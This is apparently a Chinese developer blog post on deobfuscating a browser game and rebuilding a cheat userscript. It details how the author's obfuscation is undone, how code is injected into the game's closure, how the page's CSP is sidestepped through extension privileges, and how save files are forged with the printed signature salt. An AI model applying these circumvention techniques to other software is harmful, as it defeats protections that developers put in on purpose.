            // 只補滿到「剛好一波」：updateWave 會扣掉一個 WAVE_DURATION 並 +1 波。
            // (舊版設成 1e9，每幀只扣一次所以會連續無限跳波)
            Game.waveTimer = Math.max(Game.waveTimer, WAVE_DURATION);
        },

    // 原版普攻冷卻最低 0.2 秒，這裡放寬讓高攻速有效
    const OrigCooldown = window.cooldownNow;
    window.cooldownNow = function () {
        const Game = Run();
        if (!Game) return OrigCooldown.apply(this, arguments);
        return Math.max(0.05, Game.character.stats.cooldown * Game.player.cdMult / Cfg.AtkSpeed);
    };

        // 技能冷卻加速 (原版 cdMult 對技能有 0.4 的下限，這裡額外加速)
        if (Cfg.AtkSpeed > 1 && typeof SKILLS !== "undefined") {
            for (const Id of Object.keys(Game.skills)) {
                const Def = SKILLS[Id];
                if (Def && !Def.update) Game.skills[Id].cd -= Dt * (Cfg.AtkSpeed - 1);
            }
        }

    const OrigToggle = window.togglePause;
    window.togglePause = function () {
        const Game = Run();
        if (Cfg.NoPause && Game && !Game.paused) return;
        return OrigToggle.apply(this, arguments);
    };

    let BgLast = performance.now();
    setInterval(function () {
        const Now = performance.now();
        let Elapsed = (Now - BgLast) / 1000;
        BgLast = Now;
        const Game = Run();
        if (!Cfg.NoPause || !document.hidden || !Game) return;
        if (typeof scene !== "undefined" && scene !== "playing") return;
        Elapsed = Math.min(Elapsed, 5); // 最多補 5 秒，避免一次算太久
        while (Elapsed > 0.0001) {
            if (Game.paused || Game.choosing || Game.dead) break;
            const Step = Math.min(0.05, Elapsed);
            window.updateGame(Step);
            Elapsed -= Step;
        }
    }, 250);

    // 遊戲加速：把一幀的時間 ×GameSpeed，切成每步最多 0.05 秒 (和原版單步上限一致，
    // 避免步長過大造成穿牆/判定漏掉)，同一幀內連跑多步。畫面仍每幀只繪製一次。
    window.updateGame = function (Dt) {
        const Speed = Math.max(1, Cfg.GameSpeed);
        if (Speed === 1) return StepUpdate(Dt);
        let Left = Dt * Speed;
        let Guard = 0;
        while (Left > 0.0001 && Guard++ < 400) {
            const Game = Run();
            if (!Game || Game.paused || Game.choosing || Game.dead) break;
            const Step = Math.min(0.05, Left);
            StepUpdate(Step);
            Left -= Step;
        }
    };

    // 面板上的觸控/點擊不要傳給遊戲 (遊戲有虛擬搖桿，會被誤觸發移動)
    ["touchstart", "touchmove", "touchend", "touchcancel", "pointerdown", "mousedown", "click", "wheel"].forEach(function (Name) {
        Panel.addEventListener(Name, function (Ev) { Ev.stopPropagation(); }, { passive: true });
    });

        // 在輸入框打字時不要觸發遊戲熱鍵 (WASD、P、M、` 等)
        Num.addEventListener("keydown", function (Ev) { Ev.stopPropagation(); });
        Num.addEventListener("keyup", function (Ev) { Ev.stopPropagation(); });

v2.5 的外掛本體到 3.1 一行都沒改，現在放在 src/mod-core.js。這一節嵌入的片段固定在 3.1 的版本（4aac4ce）；3.2 補上新機制的部分見（8）的第 5 小節。

本節來源：README.md

（2）作者加了三道防線

10/15 23:19，原作者把 GitHub Pages 換成新的 build，v2.5 當場失效。之後兩個小時內又推了三版：

作者加了三樣東西：

1. javascript-obfuscator 混淆：字串陣列、自訂 base64 解碼器、陣列旋轉、約 580 個 wrapper 函式、proxy object、控制流平坦化、數字拆成算式，還有兩個 self-defending 檢查。
2. 整個遊戲包進 IIFE：(function(){ "use strict"; … })()。
3. index.html 加 CSP meta：script-src 'self'，禁止 eval 和 inline script。

另外存檔加了簽章，見（9）。沒有主動偵測外掛、沒有 debugger 反除錯、沒有網域鎖。

真正讓外掛壞掉的是第 2 道，不是字串混淆。包進 IIFE 之後，G、hurtPlayer 全部變成閉包裡的區域變數：

typeof window.hurtPlayer   // "undefined"
typeof G                   // "undefined"

v2.5 換函式的手法完全沒有東西可換。字串混淆只是讓我看不懂程式碼，IIFE 才是讓外掛接不上去。CSP 則擋掉從外面注入程式碼的路。

本節來源：reverse/README.md

（3）字串陣列與 self-defending：直接跑原始解碼器

混淆後的檔案頂層只有三樣東西：解碼器函式、字串陣列函式，以及一個逗號運算式 (旋轉器(陣列, 常數), function(){ 整個遊戲 }())。

• 字串陣列：約 1900 個編碼字串。
• 解碼器：自訂字母表的 base64，轉成 %xx 再 decodeURIComponent，有快取。
• 旋轉器：while(true) 裡用一堆 parseInt(解碼(...)) 算一個式子，不等於常數就把陣列 push(shift()) 轉一格，轉到對為止。

我沒有重寫解碼演算法，而是把這三段原封不動放進 Node 的 vm 執行，之後用它來解每一個呼叫：

const prelude = code.slice(decFn.start, decFn.end) + ';' + code.slice(arrFn.start, arrFn.end) + ';(' + code.slice(rot.start, rot.end) + ');';
const ctx = vm.createContext({});
vm.runInContext(prelude, ctx, { timeout: 5000 });

在 SiaoHub 檢視 siao/dungeon-reborn-mod/reverse/reveal.mjs L26-28

一定要用原始碼，是因為有兩個 self-defending 檢查：

1. 解碼器裡有 (''+function(){…}).indexOf('\n')。程式被排版過、函式文字裡出現換行，就改用另一條路徑，解出錯的字串。
2. 另一個檢查用 RegExp 測某個函式的 toString()，不符合就進無窮迴圈。

排版過的程式碼會同時踩到兩個。直接跑沒排版過的原始碼，兩個檢查自然通過。

本節來源：reverse/README.md

（4）wrapper 函式：用 scope 追到不動點

解碼器不會被直接呼叫。每個作用域裡都有幾個 wrapper：

function _0x4b15d0(a, b) { return _0x550d(b - 0x1ee, a); }
function _0x490513(a, b) { return _0x550d(a - -0xc7, b); }

wrapper 還會呼叫上一層的 wrapper，可以疊好幾層。同一個名字在不同作用域代表不同的 wrapper，所以不能用文字取代，要用 babel 的 scope 追綁定：

1. 找出「本體只有一行 return 另一個 wrapper(參數的算式)」的函式，登記成 wrapper，給它一個不會撞名的代號，定義也送進 vm。
2. 一直重複，直到沒有新的 wrapper 為止。
3. 把所有參數都是常數的呼叫，丟進 vm 求值，換成字串常數。

let changed = true, defs = [];
while (changed) {
  changed = false;
  traverse(ast, {
    Function(path) {
      const n = path.node;
      if (n.body.type !== 'BlockStatement' || n.body.body.length !== 1) return;
      const r = n.body.body[0];
      if (!t.isReturnStatement(r) || !t.isCallExpression(r.argument)) return;
      const params = new Set(n.params.map(p => p.name));
      if (n.params.some(p => !t.isIdentifier(p))) return;
      const target = calleeId(path.get('body.body.0.argument'), r.argument.callee);
      if (!target) return;
      if (!r.argument.arguments.every(a => isSimple(a, params))) return;
      let b;
      if (t.isFunctionDeclaration(n)) b = path.parentPath.scope.getBinding(n.id.name);
      else if (t.isVariableDeclarator(path.parent) && t.isIdentifier(path.parent.id)) b = path.parentPath.scope.getBinding(path.parent.id.name);
      if (!b || wrappers.has(b)) return;
      const name = 'W' + (uid++);
      wrappers.set(b, name);
      const args = r.argument.arguments.map(a => generate(a).code).join(',');
      defs.push(`function ${name}(${n.params.map(p=>p.name).join(',')}){return ${target}(${args});}`);
      changed = true;
    }
  });
}
vm.runInContext(defs.join('\n'), ctx);

在 SiaoHub 檢視 siao/dungeon-reborn-mod/reverse/reveal.mjs L48-74

每一版的數量差不多：

三版都是 0 個失敗。

本節來源：reverse/README.md

（5）現成工具會把程式改壞

字串還原之後，proxy object、控制流平坦化、數字算式交給 obfuscator-io-deobfuscator。它的預設設定有三個地方會改壞程式，而且都不會報錯。

ProxyFunctionInliner 把遊戲自己的函式內聯掉。 混淆器會產生 {'WgTpU': (a,b) => a+b} 這種 proxy，工具把它們內聯回去是對的。但它也把遊戲自己的小函式當成 proxy，而且參數會不見：

// 原本
function itemLv(id) { return (G && G.items[id]) || 0; }
const speed = base * (1 + itemLv("boots") * 0.06);
 
// 內聯後：_0x528f3b 是 itemLv 的參數名，已經沒有定義了
const speed = base * (1 + (G && G.items[_0x528f3b] || 0) * 0.06);

playerSpeed、cooldownNow 也被內聯掉，而它們剛好是外掛要掛的函式。修法是收緊判定：只內聯「只引用自己的參數、每個參數只用一次」的函式，而且主 IIFE 頂層的函式宣告一律不動。

function pureOfParams(fn) {
  const params = new Set(fn.params.map(p => p.name));
  const body = t.isBlockStatement(fn.body) ? fn.body.body[0]?.argument : fn.body;
  if (!body) return true;
  const seen = new Map(); let ok = true;
  (function walk(n, parent, key) {
    if (!ok || !n || typeof n.type !== 'string') return;
    if (t.isIdentifier(n)) {
      const isProp = (t.isMemberExpression(parent) && key === 'property' && !parent.computed) || (t.isObjectProperty(parent) && key === 'key');
      if (!isProp) {
        if (!params.has(n.name)) { ok = false; return; }
        seen.set(n.name, (seen.get(n.name) || 0) + 1);
        if (seen.get(n.name) > 1) ok = false;
      }
      return;
    }
    for (const k of t.VISITOR_KEYS[n.type] || []) {
      const v = n[k];
      if (Array.isArray(v)) v.forEach(c => walk(c, n, k)); else walk(v, n, k);
    }
  })(body, null, null);
  return ok;
}
// 主 IIFE 頂層的函式宣告是遊戲自己的函式 (例如 svgIcon、upgradeGain)，混淆器產生的 proxy 不會出現在這一層
const topLevel = new WeakSet();
pf.isProxyFunctionExpression = node => !topLevel.has(node) && orig(node) && pureOfParams(node);

在 SiaoHub 檢視 siao/dungeon-reborn-mod/reverse/cleanup.cjs L12-37

ObjectSimplifier 的 unsafeReplace 把會變的物件當常數。 搖桿狀態 joy = {active: false, x: 0, y: 0} 會被修改，工具卻把 joy.active 摺疊成 false，產生 if (false && (false || false))。手機搖桿等於被刪掉。關掉。

ConstantPropagator 把常數全部內聯。 SKILL_MAX、WAVE_DURATION 這些常數全部變成數字，原本的名字就消失了。關掉之後找回 26 個常數。

驗證方式是列出所有沒有綁定的識別字。還原正確的話，應該只剩瀏覽器內建的全域：

Image Infinity JSON Map Math Number Object Set String clearTimeout console
document localStorage navigator performance requestAnimationFrame screen
setTimeout undefined window

第一個坑是讀移動函式時看到一個沒有定義的 _0x528f3b 才發現的。之後每次還原都跑這個檢查。

本節來源：reverse/README.md

（6）命名：標準答案一直在 repo 裡

1. 先自己取

還原後的程式碼可以讀了，但頂層有 238 個宣告，名字全是 _0x…。我先用兩個線索取名：

• v2.5 外掛用到的名稱，例如 hurtPlayer、gainExp、SKILLS、SKILL_MAX，這些是 10/15 之前從原始碼直接看到的。
• 讀函式本身。屬性名沒有被混淆，player.hp -= … 加上「免疫」字串，就是受傷函式。

參數和區域變數交給一個子代理逐個函式讀，寫了約 480 個名字。

2. 發現原始碼

整理時發現，原作者 repo 的 5152825 是一個 merge commit。它的第二個 parent ca3534b（10/14）裡就是沒混淆的 game.js：138 KB，開頭是 "use strict" 和中文註解。

我第一輪其實找過 git 歷史，結論是「沒有乾淨的原始碼」。那是錯的。原因是 zsh 的 $c:game.js：:g 被當成歷史修飾符，指令全部失敗，迴圈什麼都沒印出來，我就當成沒有。

3. 拿原始碼當標準答案

把原始碼所有綁定換成 _0x 佔位名、包進 IIFE，用（7）的跨 build 遷移工具對到第一個混淆版，就知道每個混淆名在原始碼裡叫什麼。拿來跟我自己取的名字比：

不同的 88 個大多是同義詞：newRun ↔ createState、W ↔ VIEW_W、sfx ↔ Sound。真的取錯的大約 8 個：

所以命名全部改用原名。現在 238 個頂層宣告裡，192 個是作者原名，原始碼的頂層宣告全部對上。另外 46 個是 10/14 之後才加的功能（Boss 競技場、寶箱、分身、詛咒、存檔簽章），用我取的名字。

區域變數也一樣。把原始碼每個函式的區域變數依出現順序編號，算一個「宣告指紋」（初值的程式碼，識別字和數字都正規化），再跟還原碼的區域變數用 LCS 對齊：

export function align(refSigs, curSigs) {
  const n = refSigs.length, m = curSigs.length;
  const L = Array.from({ length: n + 1 }, () => new Int32Array(m + 1));
  for (let i = n - 1; i >= 0; i--) for (let j = m - 1; j >= 0; j--)
    L[i][j] = refSigs[i] === curSigs[j] ? L[i + 1][j + 1] + 1 : Math.max(L[i + 1][j], L[i][j + 1]);
  const map = new Map(); let i = 0, j = 0;
  while (i < n && j < m) {
    if (refSigs[i] === curSigs[j]) { map.set(j, i); i++; j++; }
    else if (L[i + 1][j] >= L[i][j + 1]) i++; else j++;
  }
  // 兩個錨點之間，兩邊剩下的數量一樣就照順序補上 (指紋只差在算式寫法，例如 80*x 與 x*80)
  const pairs = [[-1, -1], ...[...map.entries()].map(([c, r]) => [r, c]).sort((a, b) => a[1] - b[1]), [n, m]];
  for (let k = 0; k + 1 < pairs.length; k++) {
    const [r0, c0] = pairs[k], [r1, c1] = pairs[k + 1];
    if (r1 - r0 === c1 - c0) for (let d = 1; r0 + d < r1; d++) map.set(c0 + d, r0 + d);
  }
  return map;
}

在 SiaoHub 檢視 siao/dungeon-reborn-mod/reverse/generic-order.mjs L29-46

錨點之間數量一樣的就照順序補上，處理 80 * p.pickupMult 被轉成 p.pickupMult * 80 這種指紋不同但其實是同一個變數的情況。原始碼的 669 個區域變數，在最新 build 上套用了 660 個。子代理取的名字只拿來補原始碼沒有的函式。

這也找回了兩個被內聯掉的函式。原始碼裡有 svgIcon(inner) 和 upgradeGain(c)，還原碼裡沒有。它們剛好符合「純 proxy」的條件，被（5）的 ProxyFunctionInliner 內聯掉了。語意沒錯，但函式邊界不見了。（5）裡「主 IIFE 頂層的函式宣告一律不動」那一條，就是這時候補的。

4. 還原度

用最早的混淆版跑完整流程，跟 10/14 的原始碼逐個頂層宣告比對（壓縮排版、去掉註解）：

以 hurtPlayer 為例，還原後的變數名稱、結構都跟原始碼一樣。唯一的差別是 10/15 版多了一段護盾免疫的判斷，那是作者那一天新加的：

function hurtPlayer(raw, fromX, fromY) {
  if (G.player.shieldT > 0) {                    // 10/15 新增
    addNumber(G.player.x, G.player.y - 56, "免疫", "heal");
    return;
  }
  if (tryBlock()) return;
  const p = G.player;
  const dmg = Math.max(1, Math.round(raw * (1 - damageReduction())));
  p.hp -= dmg;
  …
}

不相同的原因有兩種，目前分不開。一種是還原過程的轉換，例如模板字串被轉成 + 串接；另一種是作者在 10/14 到 10/15 之間真的改了，例如 spawnBoss 整個改成競技場版本。

本節來源：reverse/README.md

（7）跨 build 自動遷移命名

作者每次 push 都重新混淆，所有 _0x… 名稱都會換掉。每次重新命名一遍不可行，所以要把舊 build 的命名自動搬到新 build。

match-names.mjs 對每個頂層宣告算兩種指紋：

• 宣告本體：把 _0x… 換成 _ 之後的程式碼。兩邊都只出現一次、而且完全相同，就直接配對。
• 使用方式：每個引用處的上層運算式，本身換成 @，例如 @.player、newRun(@)。

    const body = fn.node.body.body;
    for (const [id, b] of Object.entries(fn.scope.bindings)) {
      const stmt = b.path.isFunctionDeclaration() ? b.path.node : b.path.parentPath?.node;
      if (!stmt || !body.includes(stmt)) continue;
      const self = norm(generate(stmt).code);
      const uses = new Set();
      for (const r of b.referencePaths.concat(b.constantViolations)) {
        let q = r.parentPath; if (!q) continue;
        if (q.isMemberExpression() && q.parentPath) q = q.parentPath;
        let s = generate(q.node).code;
        s = s.split(id).join('@');
        uses.add('u:' + norm(s).slice(0, 80));
      }
      const toks = tokens(self);
      for (const u of uses) { toks.add(u); for (const t of tokens(u.slice(2))) toks.add('u.' + t); }

在 SiaoHub 檢視 siao/dungeon-reborn-mod/reverse/match-names.mjs L17-31

第二種是必要的。第一版只比本體，結果把 G 配到 selectedChar 上，因為兩個都是 let x = null;。改成同時比使用方式之後，G 的指紋裡有 @.player、@.enemies，selectedChar 的指紋裡有 newRun(@)，就分得開了。

兩次遷移都是 0 個遺失。模糊配對到的，除了 let x = null 這種同形宣告，剩下的剛好就是這次更新改到的函式。

還原之後，版本之間的差異可以直接 diff。3b32e21 的 commit 訊息寫「強化 Android 防竄改」，但 game.js 還原後跟前一版只差 10 行：

-      hp: 2,
+      hp: 1,

加上 Boss 狀態機裡一個 if 的寫法。網頁版沒有新的防護，防竄改應該是在 Android 包裝那一層。

整個更新流程包成 update.sh：

本節來源：reverse/README.md

（8）外掛 v3：接上閉包

1. 不放遊戲程式碼

最直接的做法是把還原後的遊戲（拆掉 IIFE）整份塞進外掛，用它取代原版。我第一版就是這樣做的，也能跑，但這等於把作者的整份程式碼重新發佈一次。（11）會講為什麼不這樣做。

現在的做法是：執行時抓官方的 game.js，在主 IIFE 結尾的 ;}())); 前面插入一段匯出程式，在閉包裡用 getter/setter 把函式和狀態掛到 window：

    // 在閉包內定義 window 上的存取子；setter 直接改閉包裡的綁定，遊戲之後的呼叫就會走到新函式
    const Lines = [];
    for (const [Obf, [Name, Writable]] of Object.entries(Names)) {
        Lines.push("if(!(" + JSON.stringify(Name) + " in window))Object.defineProperty(window," + JSON.stringify(Name) +
            ",{configurable:true,get:function(){return " + Obf + "}" + (Writable ? ",set:function(v){" + Obf + "=v}" : "") + "});");
    }
    Game = Game.slice(0, Cut + 1) + "try{" + Lines.join("") + "}catch(e){console.error('[DUNGEON REBORN 外掛 v3] 匯出失敗',e)}" + Game.slice(Cut + 1);

在 SiaoHub 檢視 siao/dungeon-reborn-mod/DungeonRebornMod.user.js L678-684

產生出來的每一行長這樣：

Object.defineProperty(window, "hurtPlayer", {
  get: function () { return _0x3106b7 },
  set: function (v) { _0x3106b7 = v }    // 直接改閉包裡的綁定
});

v2.5 的外掛本體照舊寫 window.hurtPlayer = function () {…}，setter 會改掉閉包裡的綁定，遊戲之後的呼叫就會走到新函式。G 也一樣，getter 回傳的是閉包裡當下的值。所以 src/mod-core.js 一行都不用改。

外掛裡只有載入器、v2.5 本體，還有每個 build 的「混淆名 → 名稱」對照表，總共 34 KB。game.js 的 hash 不在對照表裡的話，就原樣載入官方版本，畫面底部顯示「外掛尚未支援這個版本」，不會亂掛。

2. 接手頁面：document.open，不是 window.stop

外掛用 @run-at document-start，一開始就同步呼叫 document.open()，中止原本的 HTML 解析，再把拿掉 game.js 的 HTML 寫回去：

if (window.__DR_V3__) return;
window.__DR_V3__ = true;
// document-start 時同步呼叫 document.open()，中止原本的 HTML 解析，換成拿掉 game.js 的版本。
// 不能用 window.stop()：它會把 parser 標成 aborted，之後的 document.open() 依規範會被忽略，Chrome 也不會開始渲染。
// 注意：Tampermonkey 注入時 parser 多半已經讀到 index.html 的 CSP meta，CSP 一旦套用，document.open() 也清不掉，
// 頁面裡的 inline script / eval 都會被擋。所以遊戲與外掛本體不能用一般的 <script> 插入，見 RunCode()。
document.open();

在 SiaoHub 檢視 siao/dungeon-reborn-mod/DungeonRebornMod.user.js L594-600

3. CSP 拿不掉：3.0.0 裝了遊戲無法開始

3.0.0 的想法是：CSP 寫在 index.html 的 meta 裡，只要 parser 還沒讀到它就不會生效，所以在 document-start 當下 document.open()，寫回去的 HTML 不含 CSP meta，再用一般的 <script> 插入改過的 game.js。

推上去之後，裝了外掛的人按「開始遊戲」沒有任何反應，Console 也沒有錯誤。在 Chrome 裡用真正的 Tampermonkey 重現：面板有出現，DOM 裡也沒有 CSP meta，但 G 不存在，遊戲根本沒執行。在頁面裡插一個 inline script 測試，觸發的是 script-src-elem 違規，CSP 還在。

原因是 Tampermonkey 實際注入的時間比我以為的晚。CSP meta 在 <head> 第 6 行，外掛執行時 parser 多半已經讀過它；CSP 一旦套用就記在文件上，之後 document.open() 換掉內容、刪掉 meta 都清不掉。CSP 生效之後，script-src 'self' 底下的 inline script、eval、new Function、blob URL 都跑不了，在頁面這一邊沒有任何辦法執行抓回來的程式碼。

3.1.0 改用擴充功能的權限：

// 依序嘗試：
// 1. GM_addElement 插入頁面：Tampermonkey 以擴充功能權限插入，不受頁面 CSP 限制，遊戲與外掛跑在頁面裡，Console 也摸得到 G。
// 2. 在 Tampermonkey 的沙盒裡用 new Function 執行：沙盒的 CSP 是擴充功能自己的，允許 eval。
// 兩個都不行就回傳 false，由呼叫端退回原版遊戲。
async function RunCode(Code, Url) {
    const Text = Code + "\n//# sourceURL=" + Url;
    if (Mode !== "sandbox") {
        try {
            if (Mode === null) Root().setAttribute("data-dr-run", "page");
            // 執行成功的話，程式會把標記改成 page-ok
            const Probe = Mode === null ? "document.documentElement.setAttribute('data-dr-run','page-ok');" : "";
            GM_addElement(document.body || Root(), "script", { textContent: (Mode === null ? Guard : "") + Probe + Text });
            if (Mode === null) {
                for (let I = 0; I < 20 && Root().getAttribute("data-dr-run") !== "page-ok"; I++) await new Promise(R => setTimeout(R, 25));
                if (Root().getAttribute("data-dr-run") === "page-ok") { Mode = "page"; return true; }
            } else return true;
        } catch (Err) { console.warn("[DUNGEON REBORN 外掛 v3] GM_addElement 無法執行", Err); }
        // 頁面那份可能晚到：先把標記改掉，晚到的那份會在 Guard 停下
        Root().setAttribute("data-dr-run", "sandbox");
    }
    try {
        new Function(Text)();
        Mode = "sandbox";
        return true;
    } catch (Err) {
        if (Err instanceof EvalError) { console.warn("[DUNGEON REBORN 外掛 v3] 沙盒也不允許 eval", Err); return false; }
        throw Err;
    }
}

在 SiaoHub 檢視 siao/dungeon-reborn-mod/DungeonRebornMod.user.js L608-636

• GM_addElement：Tampermonkey 用擴充功能權限插入 <script>，不受頁面 CSP 限制。遊戲和外掛都跑在頁面裡，Console 也摸得到 G。在我的 Chrome 上走的就是這條路。
• Tampermonkey 沙盒：萬一 GM_addElement 沒有執行，改在沙盒裡用 new Function 跑。沙盒用的是擴充功能自己的 CSP，允許 eval；外掛本體也放到同一邊，才拿得到匯出的存取子。
• 原版遊戲：兩邊都不行，就載入同源的 game.js。CSP 的 script-src 'self' 允許它，至少遊戲一定能玩。

為了不讓遊戲跑兩次，<html> 上放一個 data-dr-run 標記，頁面和沙盒都看得到。插進頁面的程式第一行會檢查它，晚到的那份會直接停下。

4. 測試

3.0.0 的測試是用 Playwright 的 addInitScript 直接執行外掛。它比 parser 還早，CSP 根本還沒套用，所以 15 項全過，卻沒測出這個問題。

現在的 test/live.mjs 改成模擬真正的 Tampermonkey：外掛要等 CSP meta 被解析之後才執行；GM_addElement 用 DevTools 協定在頁面裡執行，等同擴充功能權限。另外也會檢查測試時 CSP 確實有生效，不然測試本身就沒有意義。用新測試跑 3.0.0 會失敗（G is not defined），跟實際狀況一樣；3.1.0 全部通過：

3.1.0 也在真正的 Tampermonkey（Chrome）裡實測過：可以選角色、進入地城，打開無敵後吃 999 傷害，血量維持 140/140。

5. 3.2.0：補上作者後來加的機制

v2.5 寫的時候，遊戲還沒有寶箱、分身和 Boss 詛咒。3.2.0 讀還原碼補上這些，同時把面板整理過。

無敵其實有洞。 v2.5 的無敵只攔 hurtPlayer。Boss 的劇毒詛咒每秒直接扣 player.hp（最多扣到 1），時限到了更直接把 hp 設成 0，兩條路都不經過 hurtPlayer。開著無敵打 Boss，照樣會被毒死。現在 die 也攔下來，每一幀結束後再把少掉的血補回去：

    // 劇毒詛咒直接扣 hp、時限到直接把 hp 設成 0，不經過 hurtPlayer，所以無敵還要擋 die
    if (Has("die")) {
        const OrigDie = window.die;
        window.die = function () {
            const Game = Run();
            if (Cfg.God && Game) {
                Game.player.hp = Game.player.maxHp;
                Game.deathNote = "";
                return;
            }
            return OrigDie.apply(this, arguments);
        };
    }

在 SiaoHub 檢視 siao/dungeon-reborn-mod/src/mod-core.js L74-86

            P.dmgMult = Nat.Dmg;
            P.pickupMult = Nat.Pickup;
            P.crit = Nat.Crit;
            // 劇毒詛咒直接扣 hp (最多扣到 1，不會觸發 die)，無敵時把這一幀少掉的血補回來
            if (Cfg.God && P.hp < Nat.Hp) P.hp = Nat.Hp;
            // 時限在原版 updateArena 裡扣，所以這一幀結束後再補滿
            if (Cfg.BossNoCurse && Game.fight) Game.fight.timeLeft = Game.fight.limit;
        }

在 SiaoHub 檢視 siao/dungeon-reborn-mod/src/mod-core.js L280-287

寶箱。 場上每 28～42 秒出現一個，最多 2 個，走過去就打開。掉落有四種，權重寫在 CHEST_LOOT：塔盾（20 秒免疫，權重 20）、古老金幣（吸全場經驗，25）、肉塊（回 40% 生命，35）、騎士頭盔（召喚 2 個分身 20 秒，20）。外掛換掉 rollLoot 來指定掉落，在 updateGame 前面加快 chestTimer；原版場上滿 2 個就不刷，上限調高時由外掛自己呼叫 spawnChest 補。

分身。 騎士頭盔召喚的藍色分身，站位角度是 anim × 0.9 + k × π，原版只有 k = 0 和 1 兩個。k 只用在站位，繪製時沒有用到，所以取 k = 2i / N 就能讓 N 個分身平均繞著玩家：

    // ---------- 分身 ----------
    // 原版固定 2 個，站位角度是 anim*0.9 + k*π；k 取 2i/N 就能讓 N 個分身平均繞著玩家
    function ResizeClones(Game, N) {
        const P = Game.player;
        const Old = Game.clones;
        if (!Old.length || Old.length === N) return;
        const Tpl = Old[0];
        Game.clones = [];
        for (let I = 0; I < N; I++) {
            const Prev = Old[I];
            Game.clones.push(Object.assign({}, Tpl, Prev || {
                x: P.x, y: P.y, attacking: false, hitDone: true, attackTime: 0, cd: 0.1 + Math.random() * 0.4
            }, { k: 2 * I / N }));
        }
    }

在 SiaoHub 檢視 siao/dungeon-reborn-mod/src/mod-core.js L192-206

分身的攻擊走 rollDamage，本來就吃傷害倍率；冷卻是 max(0.45, cooldownNow() × 1.1)，有 0.45 秒的下限，攻速倍率要另外每幀扣它的 cd。

Boss 詛咒。 每次 Boss 從劇毒、混亂（移動方向反轉）、分裂三種裡抽 1 個，第 4 隻起抽 2 個。劇毒與混亂都是讀 G.fight 上的旗標，每一幀把旗標關掉、時限補滿就失效了。分裂是 Boss 本身的行為，沒有動。

        // Boss 詛咒。開無敵時時限停在 5 秒，不然時限到了 die 會每幀被叫一次
        const Fight = Game.fight;
        if (Fight) {
            if (Cfg.BossNoCurse) {
                Fight.poison = false;
                Fight.confuse = false;
            }
            if (Cfg.God) Fight.timeLeft = Math.max(Fight.timeLeft, Math.min(Fight.limit, 5));
        }
 
        // 寶箱
        if (Game.chests) {
            if (!Game.arena) {
                if (Cfg.ChestRate > 1) Game.chestTimer -= Dt * (Cfg.ChestRate - 1);
                // 原版場上滿 2 個就不刷，上限調高時由這裡補刷 (計時器照樣由原版重設)
                if (Cfg.ChestMax > 2 && Game.chestTimer - Dt <= 0 && Game.chests.length >= 2 && Game.chests.length < Cfg.ChestMax && Has("spawnChest")) window.spawnChest();
            }
            if (Cfg.AutoChest && Has("openChest")) for (let I = Game.chests.length - 1; I >= 0; I--) window.openChest(I);
        }
 
        // 塔盾、分身
        if (Cfg.KeepShield && "shieldT" in P) P.shieldT = Math.max(P.shieldT, 5); // 3 秒以下會開始閃爍
        if (Game.clones) {
            if (Cfg.KeepClones && Has("spawnClones")) KeepClones(Game);
            ResizeClones(Game, Math.max(1, Math.min(12, Math.round(Cfg.CloneCount))));
        }

在 SiaoHub 檢視 siao/dungeon-reborn-mod/src/mod-core.js L231-256

其他：

• 升級卡必定幸運：換掉 luckChance，Boss 擊殺後的獎勵卡也走這裡。幸運卡效果 ×2 或一次升兩級，但已經快滿級的卡本來就不能幸運，這部分不動。
• 不寫入紀錄：用過外掛的那局死掉時，照樣算分數和排行榜名次給死亡畫面看，但不寫進存檔。
• 面板：最上面一列狀態（波次、時間、血量、Boss 倒數、寶箱、塔盾與分身秒數），每個區塊可以收合，倍率可以一鍵重設，加上 Alt 熱鍵。macOS 按著 Option 時 Ev.key 會變成特殊符號，所以熱鍵判斷用 Ev.code。
• 自動更新的檢查清單：mod-core.js 第 3 行的 NEEDS 列出用到的 35 個遊戲名稱，watch.sh 直接讀這一行，不用另外維護一份。

測試加到 27 項，每個新功能一項，其中「無敵時劇毒不扣血」是照上面的洞寫的。

本節來源：reverse/README.md · README.md

（9）存檔簽章

新版的存檔多了一個簽章。localStorage 裡有兩筆：dungeonReborn.save.v2 存 JSON，dungeonReborn.save.v2.sig 存簽章。載入時簽章不符，整份存檔就會被刪掉重置，所以手改紀錄會被洗掉。

簽章是 cyrb53 的變體，輸入前後各加一次固定的鹽：

const SALT = "dr::7f3a91c2e8b04d65::v2";
export function saveSignature(json) {
  let h1 = 0xdeadbeef, h2 = 0x41c6ce57;
  const s = SALT + json + SALT;
  for (let i = 0; i < s.length; i++) {
    const c = s.charCodeAt(i);
    h1 = Math.imul(h1 ^ c, 2654435761);
    h2 = Math.imul(h2 ^ c, 1597334677);
  }
  h1 = Math.imul(h1 ^ (h1 >>> 16), 2246822507) ^ Math.imul(h2 ^ (h2 >>> 13), 3266489909);
  h2 = Math.imul(h2 ^ (h2 >>> 16), 2246822507) ^ Math.imul(h1 ^ (h1 >>> 13), 3266489909);
  return ((h2 & 0x1fffff) * 4294967296 + (h1 >>> 0)).toString(36);
}

在 SiaoHub 檢視 siao/dungeon-reborn-mod/reverse/sign-save.mjs L3-15

在線上原版驗證過：簽章正確的偽造存檔會被接受，簽章錯誤的會被刪掉。

排行榜上的其他玩家是用固定種子產生的假資料，遊戲完全沒有連網，所以改存檔只影響自己的瀏覽器。

本節來源：reverse/README.md

（10）自動追蹤

作者一個晚上推了五版，每一版都重新混淆。所以我把（3）到（8）整套流程放到 siao-server 上，由 systemd timer 每 15 分鐘檢查一次。沒有更新時，它只抓一次 game.js 算 hash 就結束。

有新版時，任何一關沒過就停下來，已經改的檔案會還原：

Claude 在這裡只做一件事：讀新舊兩版還原碼的 diff，寫兩段說明，一段給 repo 的版本表格，一段給下面的版本紀錄。它只輸出 JSON 文字，不碰任何檔案，插到哪裡由腳本決定，所以文章的其他部分不會被改到。呼叫失敗、逾時或格式不對，就改用模板（commit 訊息、diff 行數、命名遷移結果），更新照樣進行。

外掛和部落格分開把關。外掛要功能測試全過才推；部落格要 npm run build && npm test 全過才推。部落格失敗不會影響已經推出的外掛。同一版最多試 3 次，之後就停止重試，在 log 留一行「放棄」，等我修好再手動重跑。

推送用一把專用的 deploy key，只能寫入外掛 repo 和部落格 repo。

這個流程是無人值守地推到正式環境的。把關讓壞掉的更新很難推出去，但不是不可能。

版本紀錄

10/16 01:25 · 3b32e21（木棒耐久改為 1 次;強化 Android 防竄改）

還原後跟上一版只差 10 行：哥布林木棒的 hp 從 2 改成 1，加上 Boss 狀態機裡一個 if 的寫法。commit 訊息說「強化 Android 防竄改」，但 game.js 裡看不到新的防護，應該是在 Android 包裝那一層。

命名遷移 exact 222, fuzzy 14, missing 0，外掛已支援（0b73151c）。

